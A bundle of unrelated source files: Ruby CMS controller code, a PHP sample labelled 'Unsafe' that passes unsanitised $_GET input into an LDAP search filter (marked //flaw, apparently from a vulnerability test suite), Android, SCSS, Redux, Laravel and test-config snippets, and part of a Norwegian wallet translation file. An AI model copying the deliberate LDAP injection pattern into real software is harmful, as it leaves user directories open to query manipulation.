redirect_to :action => :index
end
protected
def presenter
@presenter ||= PagePresenter.new(@page)
end
helper_method :presenter
def save_page
# First change state if needed. We do a non saving event so we can access
# the dirty logging in the content registers.
@page.update_state(params[:state_event]) if params[:state_event]
blocks_attributes = params[:blocks_attributes]
# We need to look at the current state of the page to know if we're updating
# current or alternate content. This may have changed due to the state event.
if updating_alternate_content?
AlternatePageBlocksRegister.new(
@page,
author: current_user,
new_blocks_attributes: blocks_attributes
).save!
else
PageBlocksRegister.new(
@page,
author: current_user,
new_blocks_attributes: blocks_attributes
).save!
end
# Now save any changes to the page on attributes other than content (assignment has been
# performed in a filter, defined in the comfy gem). We do this after updating the content
# as that has logic dependent on the schedule time, which should only be changed afterwards.
@page.save!
@page.mirror_categories!
@page.mirror_suppress_from_links_recirculation!
end
def apply_filters
@pages = @all_pages.filter(params.slice(:category, :layout, :last_edit, :status, :language))
if params[:search].present?
Comfy::Cms::Search.new(@pages, params[:search]).results
else
@last_published_pages = @all_pages.published.reorder(updated_at: :desc).limit(4)
@last_draft_pages = @all_pages.draft.reorder(updated_at: :desc).limit(4)
@pages.reorder(updated_at: :desc).page(params[:page])
end
end
def check_permissions
if PermissionCheck.new(current_user, @page, action_name, params[:state_event]).fail?
flash[:danger] = 'Insufficient permissions to change'
redirect_to comfy_admin_cms_site_pages_path(params[:site_id])
end
end
def check_alternate_available
if params[:alternate] && !AlternatePageBlocksRetriever.new(@page).blocks_attributes.present?
flash[:danger] = 'Alternate content is not currently available for this page'
redirect_to action: :edit, id: @page
end
end
def check_can_destroy
unless @page.draft? || @page.published_being_edited? || (@page.scheduled? && @page.active_revision.present? && @page.scheduled_on > Time.current)
flash[:danger] = 'You cannot delete a page in this state'
redirect_to action: :edit, id: @page
end
end
def updating_alternate_content?
if @page.published_being_edited?
params[:alternate].present? || params[:state_event] == 'create_new_draft'
elsif @page.scheduled?
@page.active_revision.present? && (params[:alternate].present? || params[:state_event] == 'scheduled')
else
false
end
end
end
|
WinFormEx
=========
|
<?php
/*
Unsafe sample
input : get the $_GET['userData'] in an array
sanitize : regular expression accepts everything
construction : concatenation with simple quote
*/
/*Copyright 2015 Bertrand STIVALET
Permission is hereby granted, without written agreement or royalty fee, to
use, copy, modify, and distribute this software and its documentation for
any purpose, provided that the above copyright notice and the following
three paragraphs appear in all copies of this software.
IN NO EVENT SHALL AUTHORS BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF AUTHORS HAVE
BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
AUTHORS SPECIFICALLY DISCLAIM ANY WARRANTIES INCLUDING, BUT NOT
LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
THE SOFTWARE IS PROVIDED ON AN "AS-IS" BASIS AND AUTHORS HAVE NO
OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
MODIFICATIONS.*/
$array = array();
$array[] = 'safe' ;
$array[] = $_GET['userData'] ;
$array[] = 'safe' ;
$tainted = $array[1] ;
$re = "/^.*$/";
if(preg_match($re, $tainted) == 1){
$tainted = $tainted;
}
else{
$tainted = "";
}
$query = "(&(objectCategory=person)(objectClass=user)(cn='". $tainted . "'))";
//flaw
$ds=ldap_connect("localhost");
$r=ldap_bind($ds);
$sr=ldap_search($ds,"o=My Company, c=US", $query);
ldap_close($ds);
?> |
//usage
class MyActivity extends Activity {
@Bind(R.id.text)
TextView someText;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ButterKnife.bind(this);
}
}
//implementation:
//https://github.com/JakeWharton/butterknife
//tons of code |
/* Legacy variables. Discontinue to use these: */
/**
* Convert font-size from px to rem with px fallback
* @param $size - the value in pixel you want to convert
* e.g. p {@include fontSize(12px);}
* courtesy of https://github.com/stubbornella/oocss/blob/master/oocss/src/components/utils/_fontSize.scss
*/
/* line 3, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
[type=radio].styled-radio {
margin: 4px 7px 2px 2px;
float: left;
}
/* line 8, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.muted-margin {
margin-left: 20px;
}
/* line 12, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.top-margin {
margin-top: 5px;
}
/* line 16, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.bottomMargin {
margin-bottom: 5px;
}
/* line 20, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.top-padding {
padding-top: 5px;
}
/* line 24, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.migrationProgressItem {
padding-top: 5px;
padding-bottom: 5px;
}
/* line 29, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.controlMargin {
padding-top: 8px;
}
/* line 33, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.centerText {
text-align: center;
}
/* line 37, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.cancelBtn {
margin-left: 0;
}
/* line 41, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.rightAlign {
text-align: right;
}
/* line 45, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.progress {
margin-bottom: 0;
}
/* line 49, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
#progress {
margin-left: 20px;
margin-top: 100px;
}
/* line 54, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.noMargin {
margin: 0;
}
/* line 58, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.icon-folder {
font-size: 24px !important;
}
/* line 62, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
hr {
margin-bottom: 0 !important;
}
/* line 66, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.plain {
color: black;
}
/* line 70, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.control-height {
height: 30px;
}
/* line 74, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul {
margin: 0;
list-style: none;
}
/* line 77, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul .checkbox-title {
padding-left: 5px;
}
/* line 80, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul .checkbox-caret {
color: black;
}
/* line 83, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul .no-caret {
margin-left: 20px;
}
/* line 86, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul .treeitem-heading {
min-height: 22px;
}
/* line 89, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul input[type=checkbox] {
margin: 0 10px 3px 0px;
float: none;
padding-right: 5px;
}
/* line 94, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul label.checkbox {
display: inline;
padding-left: 0px;
}
/* line 98, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul div.module_options {
display: inline-block;
margin: 5px 38px 5px;
padding: 5px;
background-color: #E6F1F7;
border: solid 1px #0770A3;
}
/* line 105, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul div.module_options .ic-Form-control {
margin-bottom: 0;
}
/* line 109, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li.top-level-treeitem {
margin: 10px 0px 10px 0px;
border: 1px solid lightgray;
border-radius: 5px;
}
/* line 113, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li.top-level-treeitem > .treeitem-heading {
padding: 5px;
}
/* line 117, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li.normal-treeitem {
min-height: 32px;
padding-left: 33px;
}
/* line 121, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li {
list-style: none;
}
/* line 123, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li > .treeitem-heading {
padding: 5px;
}
/* line 125, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li > .treeitem-heading:hover {
background-color: #E6F1F7;
}
/* line 128, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li > .treeitem-heading .sub_count {
font-style: italic;
}
/* line 134, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li li li li li > .treeitem-heading {
padding: 5px;
}
/* line 138, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li.small-spacing {
margin: 5px 0px 5px 0px;
}
/* line 141, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-selected=true] {
border-radius: 5px;
}
/* line 143, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-selected=true] > .treeitem-heading {
background-color: #0770A3;
}
/* line 145, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-selected=true] > .treeitem-heading label, .selectContentDialog ul li[aria-selected=true] > .treeitem-heading a {
color: white;
}
/* line 151, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-expanded=true] .icon-arrow-right {
display: none;
}
/* line 154, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-expanded=true] .icon-arrow-down {
display: inline-block;
}
/* line 157, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-expanded=true] > ul {
display: block;
}
/* line 162, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-expanded=false] .icon-arrow-right {
display: inline-block;
}
/* line 165, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-expanded=false] .icon-arrow-down {
display: none;
}
/* line 168, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
.selectContentDialog ul li[aria-expanded=false] > ul {
display: none;
}
/* line 174, /home/gorana/Documents/github/koturato/canvas-lms/app/stylesheets/bundles/content_migrations.scss */
i.course_select_warning {
display: none;
padding: 8px 0 0 8px;
color: #f89406;
}
|
import { createReducer } from "redux-create-reducer";
import * as clone from "lodash/cloneDeep";
import {
INITIALIZE,
SWITCH,
} from "./actions";
import { IContainerModule } from "../types";
import { ITabState } from "./";
const initialState = {};
export default createReducer(initialState, {
[INITIALIZE](state: IContainerModule<ITabState>, action) {
const { id, currentTab } = action.payload;
if (!id || state[id]) {
return state;
}
const clonedState = clone(state);
clonedState[id] = {
currentTab,
};
return clonedState;
},
[SWITCH](state: IContainerModule<ITabState>, action) {
const { id, tabId } = action.payload;
if (!id || !state[id]) {
return state;
}
const clonedState = clone(state);
clonedState[id] = {
currentTab: tabId,
};
return clonedState;
},
});
|
module.exports = {
framework: 'qunit',
test_page: 'tests/index.html?hidepassed',
disable_watching: true,
launch_in_ci: [
'Chrome'
],
launch_in_dev: [
'Chrome'
],
browser_args: {
Chrome: {
mode: 'ci',
args: [
// --no-sandbox is needed when running Chrome inside a container
process.env.TRAVIS ? '--no-sandbox' : null,
'--disable-gpu',
'--headless',
'--no-sandbox',
'--remote-debugging-port=9222',
'--window-size=1440,900'
].filter(Boolean)
}
}
};
|
<?php
class UserController extends BaseController {
public function register() {
if (Auth::check()){
return Redirect::to('/');
}
$colleges = College::all();
$areas = Area::all();
return View::make('user.register')
->with('colleges', $colleges)
->with('areas', $areas);
}
public function doRegister() {
if (Auth::check()){
return Redirect::to('/');
}
$rules = [
'name'=>'required|min:3',
'username'=>'required|unique:users',
'password'=>'required|min:4',
'email'=>'required|email|unique:users',
'bio'=>'required|min:10',
'ocupation'=>'required|in:stu,uni,pro'
];
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('register')
->withErrors($validator);
}
$user = new User(Input::all());
$user->password = Hash::make(Input::get('password'));
$user->picture_url = "default.png";
if($user->ocupation === 'uni' || $user->ocupation === 'pro') {
$user->college = College::find(Input::get('college'))->name;
$user->career = Area::find(Input::get('career'))->name;
}
$user->save();
$user->communities()->sync([2], false); // associate directly to UMSA INFO
$community = Community::find(2);
$community->members = $community->members + 1;
$community->save();
return Redirect::to('login');
}
public function profile($id=null) {
if ($id) {
$user = User::findOrFail($id);
} else {
$user = Auth::user();
}
$questions = $user->questions()->get();
$answers = $user->answers()->with('question')->get();
return View::make('user.profile')
->with('model', $user)
->with('questions', $questions)
->with('answers', $answers);
}
}
|
<?xml version="1.0" ?><!DOCTYPE TS><TS language="nb" version="2.1">
<context>
<name>AboutDialog</name>
<message>
<location filename="../forms/aboutdialog.ui" line="+14"/>
<source>About WhyCoin</source>
<translation>Om WhyCoin</translation>
</message>
<message>
<location line="+39"/>
<source><b>WhyCoin</b></source>
<translation><b>WhyCoin</b> versjon</translation>
</message>
<message>
<location line="+41"/>
<source>Copyright © 2014-2016 WhyCoin Developers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>
This is experimental software.
Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php.
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (https://www.openssl.org/), cryptographic software written by Eric Young (eay@cryptsoft.com), and UPnP software written by Thomas Bernard.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AddressBookPage</name>
<message>
<location filename="../forms/addressbookpage.ui" line="+14"/>
<source>Address Book</source>
<translation>Adressebok</translation>
</message>
<message>
<location line="+22"/>
<source>Double-click to edit address or label</source>
<translation>Dobbeltklikk for å redigere adresse eller merkelapp</translation>
</message>
<message>
<location line="+24"/>
<source>Create a new address</source>
<translation>Lag en ny adresse</translation>
</message>
<message>
<location line="+10"/>
<source>Copy the currently selected address to the system clipboard</source>
<translation>Kopier den valgte adressen til systemets utklippstavle</translation>
</message>
<message>
<location line="-7"/>
<source>&New Address</source>
<translation>&Ny Adresse</translation>
</message>
<message>
<location line="-43"/>
<source>These are your WhyCoin addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source>
<translation>Dette er adressene for å motta betalinger. Du ønsker kanskje å gi ulike adresser til hver avsender så du lettere kan holde øye med hvem som betaler deg.</translation>
</message>
<message>
<location line="+53"/>
<source>&Copy Address</source>
<translation>&Kopier Adresse</translation>
</message>
<message>
<location line="+7"/>
<source>Show &QR Code</source>
<translation>Vis &QR Kode</translation>
</message>
<message>
<location line="+7"/>
<source>Sign a message to prove you own a WhyCoin address</source>
<translation>Signer en melding for å bevise din egen WhyCoin adresse.</translation>
</message>
<message>
<location line="+3"/>
<source>Sign &Message</source>
<translation>Signer &Melding</translation>
</message>
<message>
<location line="+17"/>
<source>Delete the currently selected address from the list</source>
<translation>Slett den valgte adressen fra listen.</translation>
</message>
<message>
<location line="-10"/>
<source>Verify a message to ensure it was signed with a specified WhyCoin address</source>
<translation>Verifiser en melding får å forsikre deg om at den er signert med en spesifikk WhyCoin adresse</translation>
</message>
<message>
<location line="+3"/>
<source>&Verify Message</source>
<translation>&Verifiser en melding</translation>
</message>
<message>
<location line="+10"/>
<source>&Delete</source>
<translation>&Slett</translation>
</message>
<message>
<location filename="../addressbookpage.cpp" line="+65"/>
<source>Copy &Label</source>
<translation>Kopier &Merkelapp</translation>
</message>
<message>
<location line="+2"/>
<source>&Edit</source>
<translation>&Rediger</translation>
</message>
<message>
<location line="+250"/>
<source>Export Address Book Data</source>
<translation>Eksporter Adressebok</translation>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation>Kommaseparert fil (*.csv)</translation>
</message>
<message>
<location line="+13"/>
<source>Error exporting</source>
<translation>Feil under eksportering</translation>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation>Kunne ikke skrive til filen %1</translation>
</message>
</context>
<context>
<name>AddressTableModel</name>
<message>
<location filename="../addresstablemodel.cpp" line="+145"/>
<source>Label</source>
<translation>Merkelapp</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+36"/>
<source>(no label)</source>
<translation>(ingen merkelapp)</translation>
</message>
</context>
<context>
<name>AskPassphraseDialog</name>
<message>
<location filename="../forms/askpassphrasedialog.ui" line="+26"/>
<source>Passphrase Dialog</source>
<translation>Dialog for Adgangsfrase</translation>
</message>
<message>
<location line="+21"/>
<source>Enter passphrase</source>
<translation>Angi adgangsfrase</translation>
</message>
<message>
<location line="+14"/>
<source>New passphrase</source>
<translation>Ny adgangsfrase</translation>
</message>
<message>
<location line="+14"/>
<source>Repeat new passphrase</source>
<translation>Gjenta ny adgangsfrase</translation>
</message>
<message>
<location line="+33"/>
<source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>For staking only</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../askpassphrasedialog.cpp" line="+38"/>
<source>Encrypt wallet</source>
<translation>Krypter lommebok</translation>
</message>
<message>
<location line="+7"/>
<source>This operation needs your wallet passphrase to unlock the wallet.</source>
<translation>Denne operasjonen krever adgangsfrasen til lommeboken for å låse den opp.</translation>
</message>
<message>
<location line="+5"/>
<source>Unlock wallet</source>
<translation>Lås opp lommebok</translation>
</message>
<message>
<location line="+3"/>
<source>This operation needs your wallet passphrase to decrypt the wallet.</source>
<translation>Denne operasjonen krever adgangsfrasen til lommeboken for å dekryptere den.</translation>
</message>
<message>
<location line="+5"/>
<source>Decrypt wallet</source>
<translation>Dekrypter lommebok</translation>
</message>
<message>
<location line="+3"/>
<source>Change passphrase</source>
<translation>Endre adgangsfrase</translation>
</message>
<message>
<location line="+1"/>
<source>Enter the old and new passphrase to the wallet.</source>
<translation>Skriv inn gammel og ny adgangsfrase for lommeboken.</translation>
</message>
<message>
<location line="+45"/>
<source>Confirm wallet encryption</source>
<translation>Bekreft kryptering av lommebok</translation>
</message>
<message>
<location line="+1"/>
<source>Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!</source>
<translation>Advarsel: Viss du krypterer lommeboken og mister passordet vil du <b>MISTE ALLE MYNTENE DINE</b>!</translation>
</message>
<message>
<location line="+0"/>
<source>Are you sure you wish to encrypt your wallet?</source>
<translation>Er du sikker på at du vil kryptere lommeboken?</translation>
</message>
<message>
<location line="+15"/>
<source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source>
<translation>VIKTIG: Tidligere sikkerhetskopier av din lommebok-fil, bør erstattes med den nylig genererte, krypterte filen, da de blir ugyldiggjort av sikkerhetshensyn så snart du begynner å bruke den nye krypterte lommeboken.</translation>
</message>
<message>
<location line="+103"/>
<location line="+24"/>
<source>Warning: The Caps Lock key is on!</source>
<translation>Advarsel: Caps Lock er på !</translation>
</message>
<message>
<location line="-133"/>
<location line="+60"/>
<source>Wallet encrypted</source>
<translation>Lommebok kryptert</translation>
</message>
<message>
<location line="-140"/>
<source>Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>ten or more random characters</b>, or <b>eight or more words</b>.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+82"/>
<source>WhyCoin will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+7"/>
<location line="+44"/>
<location line="+6"/>
<source>Wallet encryption failed</source>
<translation>Kryptering av lommebok feilet</translation>
</message>
<message>
<location line="-56"/>
<source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source>
<translation>Kryptering av lommebok feilet på grunn av en intern feil. Din lommebok ble ikke kryptert.</translation>
</message>
<message>
<location line="+7"/>
<location line="+50"/>
<source>The supplied passphrases do not match.</source>
<translation>De angitte adgangsfrasene er ulike.</translation>
</message>
<message>
<location line="-38"/>
<source>Wallet unlock failed</source>
<translation>Opplåsing av lommebok feilet</translation>
</message>
<message>
<location line="+1"/>
<location line="+12"/>
<location line="+19"/>
<source>The passphrase entered for the wallet decryption was incorrect.</source>
<translation>Adgangsfrasen angitt for dekryptering av lommeboken var feil.</translation>
</message>
<message>
<location line="-20"/>
<source>Wallet decryption failed</source>
<translation>Dekryptering av lommebok feilet</translation>
</message>
<message>
<location line="+14"/>
<source>Wallet passphrase was successfully changed.</source>
<translation>Adgangsfrase for lommebok endret.</translation>
</message>
</context>
<context>
<name>BitcoinGUI</name>
<message>
<location filename="../bitcoingui.cpp" line="+297"/>
<source>Sign &message...</source>
<translation>Signer &melding...</translation>
</message>
<message>
<location line="-64"/>
<source>Show general overview of wallet</source>
<translation>Vis generell oversikt over lommeboken</translation>
</message>
<message>
<location line="+17"/>
<source>&Transactions</source>
<translation>&Transaksjoner</translation>
</message>
<message>
<location line="+1"/>
<source>Browse transaction history</source>
<translation>Vis transaksjonshistorikk</translation>
</message>
<message>
<location line="+5"/>
<source>&Address Book</source>
<translation>&Adressebok</translation>
</message>
<message>
<location line="+1"/>
<source>Edit the list of stored addresses and labels</source>
<translation>Endre listen med lagrede adresser og merkelapper</translation>
</message>
<message>
<location line="-18"/>
<source>Show the list of addresses for receiving payments</source>
<translation>Vis listen med adresser for å motta betalinger</translation>
</message>
<message>
<location line="+34"/>
<source>E&xit</source>
<translation>&Avslutt</translation>
</message>
<message>
<location line="+1"/>
<source>Quit application</source>
<translation>Avslutt applikasjonen</translation>
</message>
<message>
<location line="+4"/>
<source>Show information about WhyCoin</source>
<translation>Vis info om WhyCoin</translation>
</message>
<message>
<location line="+2"/>
<source>About &Qt</source>
<translation>Om &Qt</translation>
</message>
<message>
<location line="+1"/>
<source>Show information about Qt</source>
<translation>Vis informasjon om Qt</translation>
</message>
<message>
<location line="+2"/>
<source>&Options...</source>
<translation>&Innstillinger...</translation>
</message>
<message>
<location line="+4"/>
<source>&Encrypt Wallet...</source>
<translation>&Krypter Lommebok...</translation>
</message>
<message>
<location line="+2"/>
<source>&Backup Wallet...</source>
<translation>Lag &Sikkerhetskopi av Lommebok...</translation>
</message>
<message>
<location line="+2"/>
<source>&Change Passphrase...</source>
<translation>&Endre Adgangsfrase...</translation>
</message>
<message>
<location line="+9"/>
<source>&Export...</source>
<translation>&Eksporter...</translation>
</message>
<message>
<location line="-55"/>
<source>Send coins to a WhyCoin address</source>
<translation>Send coins til en WhyCoin adresse</translation>
</message>
<message>
<location line="+39"/>
<source>Modify configuration options for WhyCoin</source>
<translation>Endre innstillingene til WhyCoin</translation>
</message>
<message>
<location line="+17"/>
<source>Export the data in the current tab to a file</source>
<translation>Eksporter dataene i nåværende fane til en fil</translation>
</message>
<message>
<location line="-13"/>
<source>Encrypt or decrypt wallet</source>
<translation>Krypter eller dekrypter lommeboken</translation>
</message>
<message>
<location line="+2"/>
<source>Backup wallet to another location</source>
<translation>Sikkerhetskopiér lommebok til annet sted</translation>
</message>
<message>
<location line="+2"/>
<source>Change the passphrase used for wallet encryption</source>
<translation>Endre adgangsfrasen brukt for kryptering av lommebok</translation>
</message>
<message>
<location line="+10"/>
<source>&Debug window</source>
<translation>&Feilsøkingsvindu</translation>
</message>
<message>
<location line="+1"/>
<source>Open debugging and diagnostic console</source>
<translation>Åpne konsoll for feilsøk og diagnostikk</translation>
</message>
<message>
<location line="-5"/>
<source>&Verify message...</source>
<translation>&Verifiser melding...</translation>
</message>
<message>
<location line="-214"/>
<location line="+555"/>
<source>WhyCoin</source>
<translation>WhyCoin</translation>
</message>
<message>
<location line="-555"/>
<source>Wallet</source>
<translation>Lommebok</translation>
</message>
<message>
<location line="+193"/>
<source>&About WhyCoin</source>
<translation>&Om WhyCoin</translation>
</message>
<message>
<location line="+9"/>
<source>&Show / Hide</source>
<translation>&Gjem / vis</translation>
</message>
<message>
<location line="+8"/>
<source>Unlock wallet</source>
<translation>Lås opp lommebok</translation>
</message>
<message>
<location line="+1"/>
<source>&Lock Wallet</source>
<translation>&Lås Lommeboken</translation>
</message>
<message>
<location line="+1"/>
<source>Lock wallet</source>
<translation>Lås lommeboken</translation>
</message>
<message>
<location line="+32"/>
<source>&File</source>
<translation>&Fil</translation>
</message>
<message>
<location line="+8"/>
<source>&Settings</source>
<translation>&Innstillinger</translation>
</message>
<message>
<location line="+8"/>
<source>&Help</source>
<translation>&Hjelp</translation>
</message>
<message>
<location line="+17"/>
<source>Tabs toolbar</source>
<translation>Verktøylinje for faner</translation>
</message>
<message>
<location line="+46"/>
<location line="+9"/>
<source>[testnet]</source>
<translation>[testnett]</translation>
</message>
<message>
<location line="+0"/>
<location line="+58"/>
<source>WhyCoin client</source>
<translation>WhyCoin klient</translation>
</message>
<message numerus="yes">
<location line="+70"/>
<source>%n active connection(s) to WhyCoin network</source>
<translation><numerusform>%n aktiv tilkobling til WhyCoin nettverket</numerusform><numerusform>%n aktive tilkoblinger til WhyCoin nettverket</numerusform></translation>
</message>
<message>
<location line="+488"/>
<source>Staking.<br>Your weight is %1<br>Network weight is %2<br>Expected time to earn reward is %3</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Not staking because wallet is locked</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is syncing</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because you don't have mature coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-812"/>
<source>&Dashboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>&Receive</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>&Send</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+49"/>
<source>&Unlock Wallet...</source>
<translation>&Lås opp lommeboken</translation>
</message>
<message>
<location line="+277"/>
<source>Up to date</source>
<translation>Ajour</translation>
</message>
<message>
<location line="+43"/>
<source>Catching up...</source>
<translation>Kommer ajour...</translation>
</message>
<message>
<location line="+113"/>
<source>Confirm transaction fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Sent transaction</source>
<translation>Sendt transaksjon</translation>
</message>
<message>
<location line="+1"/>
<source>Incoming transaction</source>
<translation>Innkommende transaksjon</translation>
</message>
<message>
<location line="+1"/>
<source>Date: %1
Amount: %2
Type: %3
Address: %4
</source>
<translation>Dato: %1
Beløp: %2
Type: %3
Adresse: %4
</translation>
</message>
<message>
<location line="+100"/>
<location line="+15"/>
<source>URI handling</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-15"/>
<location line="+15"/>
<source>URI can not be parsed! This can be caused by an invalid WhyCoin address or malformed URI parameters.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Wallet is <b>not encrypted</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b></source>
<translation>Lommeboken er <b>kryptert</b> og for tiden <b>ulåst</b></translation>
</message>
<message>
<location line="+8"/>
<source>Wallet is <b>encrypted</b> and currently <b>locked</b></source>
<translation>Lommeboken er <b>kryptert</b> og for tiden <b>låst</b></translation>
</message>
<message>
<location line="+24"/>
<source>Backup Wallet</source>
<translation>Sikkerhetskopier Lommeboken</translation>
</message>
<message>
<location line="+0"/>
<source>Wallet Data (*.dat)</source>
<translation>Lommebokdata (*.dat)</translation>
</message>
<message>
<location line="+3"/>
<source>Backup Failed</source>
<translation>Sikkerhetskopiering feilet</translation>
</message>
<message>
<location line="+0"/>
<source>There was an error trying to save the wallet data to the new location.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+91"/>
<source>%n second(s)</source>
<translation><numerusform>%n sekund</numerusform><numerusform>%n sekunder</numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n minute(s)</source>
<translation><numerusform>%n minutt</numerusform><numerusform>%n minutter</numerusform></translation>
</message>
<message numerus="yes">
<location line="-429"/>
<location line="+433"/>
<source>%n hour(s)</source>
<translation><numerusform>%n time</numerusform><numerusform>%n timer</numerusform></translation>
</message>
<message>
<location line="-456"/>
